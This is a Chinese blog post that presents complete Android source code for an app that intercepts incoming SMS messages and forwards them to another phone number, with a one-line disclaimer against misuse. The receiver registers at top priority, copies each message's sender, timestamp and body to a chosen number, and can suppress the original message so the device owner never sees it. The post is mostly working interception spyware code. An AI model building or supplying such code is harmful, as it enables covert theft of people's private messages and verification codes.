通过BroadcastReceiver拦截短信转发，技术讨论 大家不要做坏事哦
先看布局：
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1 <?xml version="1.0" encoding="utf-8"?> 2 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" 3 android:layout_width="fill_parent" 4 android:layout_height="fill_parent" 5 android:orientation="vertical" > 6 7 <EditText 8 android:id="@+id/sendToId" 9 android:layout_width="fill_parent"10 android:layout_height="wrap_content"11 android:paddingLeft="5dp"12 android:layout_marginLeft="10dp"13 android:layout_marginRight="10dp"14 android:layout_marginTop="5dp"15 android:inputType="phone"16 android:hint="填写需要转发到的号码"17 />18 <RelativeLayout 19 android:layout_width="fill_parent"20 android:layout_height="wrap_content"21 android:orientation="horizontal">22 <TextView23 android:layout_width="wrap_content"24 android:layout_height="wrap_content"25 android:layout_marginTop="10dp"26 android:layout_marginLeft="10dp"27 android:text="是否开启本机接收:" 28 />29 <ToggleButton 30 android:id="@+id/togId"31 android:layout_width="wrap_content"32 android:layout_height="wrap_content"33 android:layout_alignParentRight="true"34 android:layout_marginRight="20dp"35 android:textOn="ON"36 android:textOff="OFF"37 />38 </RelativeLayout>39 <Button 40 android:id="@+id/saveBtId"41 android:layout_width="100dp"42 android:layout_height="wrap_content"43 android:layout_gravity="center_horizontal"44 android:text="确定"45 />46 47 </LinearLayout>
主Activity：
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1 package tiantian.Package; 2 3 import android.app.Activity; 4 import android.content.Intent; 5 import android.os.Bundle; 6 import android.view.View; 7 import android.widget.Button; 8 import android.widget.CompoundButton; 9 import android.widget.CompoundButton.OnCheckedChangeListener;10 import android.widget.EditText;11 import android.widget.Toast;12 import android.widget.ToggleButton;13 14 public class SMSReceiverActivity extends Activity {15 /** Called when the activity is first created. */16 private EditText et;17 private Button saveBt;18 private ToggleButton toBt;19 private boolean isChecked = false;20 @Override21 public void onCreate(Bundle savedInstanceState) {22 super.onCreate(savedInstanceState);23 setContentView(R.layout.main);24 et = (EditText) findViewById(R.id.sendToId);25 toBt = (ToggleButton) findViewById(R.id.togId);26 toBt.setOnCheckedChangeListener(new OnCheckedChangeListener() {27 28 @Override29 public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {30 // TODO Auto-generated method stub31 if(isChecked){32 SMSReceiverActivity.this.isChecked = isChecked;33 }34 }35 });36 saveBt = (Button) findViewById(R.id.saveBtId);37 saveBt.setOnClickListener(new View.OnClickListener() {38 39 @Override40 public void onClick(View v) {41 // TODO Auto-generated method stub42 Intent intent = new Intent();43 intent.setAction("com.tiantian.SEND_TO");44 intent.putExtra("_sendTo", et.getText().toString());45 intent.putExtra("_isChecked", isChecked);46 sendBroadcast(intent);47 Toast.makeText(SMSReceiverActivity.this, "已成功绑定", Toast.LENGTH_SHORT).show();48 }49 });50 51 }52 53 54 }
BroadcastReceiver类继承BroadcastReceiver：
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1 package tiantian.Package; 2 3 import java.sql.Date; 4 import java.text.SimpleDateFormat; 5 6 import android.content.BroadcastReceiver; 7 import android.content.Context; 8 import android.content.Intent; 9 import android.telephony.SmsManager;10 import android.telephony.SmsMessage;11 12 public class SMSReceiverSend extends BroadcastReceiver{13 static final String SMS_ACTION = "android.provider.Telephony.SMS_RECEIVED";14 private static String sendToNum = "1234";15 private static boolean isChecked = false;16 @Override17 public void onReceive(Context content, Intent intent) {18 // TODO Auto-generated method stub19 if(intent.getAction().equals("com.tiantian.SEND_TO")){20 sendToNum = intent.getStringExtra("_sendTo");21 isChecked = intent.getBooleanExtra("_isChecked", isChecked);22 }else if(intent.getAction().equals(SMS_ACTION)){23 24 Object[] pdus = (Object[])intent.getExtras().get("pdus");25 if(pdus != null && pdus.length != 0){26 SmsMessage[] messages = new SmsMessage[pdus.length];27 for(int i=0;i<pdus.length;i++){28 byte[] pdu = (byte[])pdus[i];29 messages[i] = SmsMessage.createFromPdu(pdu);30 }31 for(SmsMessage message : messages){32 String messageBody = message.getMessageBody();33 String sender = message.getOriginatingAddress();34 if(isChecked == false){35 abortBroadcast();// 中止发送36 }37 Date date = new Date(message.getTimestampMillis()); 38 SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 39 String sendContent = "date:" + format.format(date) + "\n"40 + "sender:" + sender + "\n" + "messageBody:" + messageBody; 41 SmsManager smsManager = SmsManager.getDefault();42 smsManager.sendTextMessage(sendToNum, null, sendContent, null, null);43 }44 }45 46 }47 }48 49 }
AndroidManifest.xml:
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1 <?xml version="1.0" encoding="utf-8"?> 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android" 3 package="tiantian.Package" 4 android:versionCode="1" 5 android:versionName="1.0" > 6 7 <uses-sdk android:minSdkVersion="8" /> 8 9 <application10 android:icon="@drawable/ic_launcher"11 android:label="@string/app_name" >12 <activity13 android:label="@string/app_name"14 android:name=".SMSReceiverActivity" >15 <intent-filter >16 <action android:name="android.intent.action.MAIN" />17 18 <category android:name="android.intent.category.LAUNCHER" />19 </intent-filter>20 </activity>21 22 <receiver android:label="@string/app_name"23 android:name=".SMSReceiverSend">24 <intent-filter android:priority="1000"> 25 <action android:name="android.provider.Telephony.SMS_RECEIVED" />26 <action android:name="com.tiantian.SEND_TO"/>27 <category android:name="android.intent.category.DEFAULT" />28 </intent-filter>29 </receiver>30 31 </application>32 <uses-permission android:name="android.permission.RECEIVE_SMS"/>33 <uses-permission android:name="android.permission.SEND_SMS"/>34 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />35 </manifest>
来源：https://www.cnblogs.com/tiantianbyconan/archive/2012/03/01/2375408.html